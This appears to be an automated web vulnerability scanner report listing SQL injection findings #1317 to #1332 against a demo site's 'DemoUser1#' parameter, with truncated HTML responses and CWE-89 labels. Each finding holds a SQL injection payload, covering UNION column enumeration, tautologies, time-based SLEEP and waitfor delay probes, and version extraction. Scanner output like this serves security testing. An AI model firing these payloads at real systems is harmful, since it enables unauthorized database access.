Issue Number #1317
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# 1' ORDER BY 2--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1318
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 26#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1319
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' OR 1 -- -
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1320
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1321
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# and (select substring(@@version,1,1))='M'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1322
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 1,2,3
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1323
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1324
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1325
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1326
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' AnD SLEEP(5) ANd '1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1327Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1328
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1329
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1330
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ";waitfor delay '0:0:5'--ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1331
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AnD SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1332Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
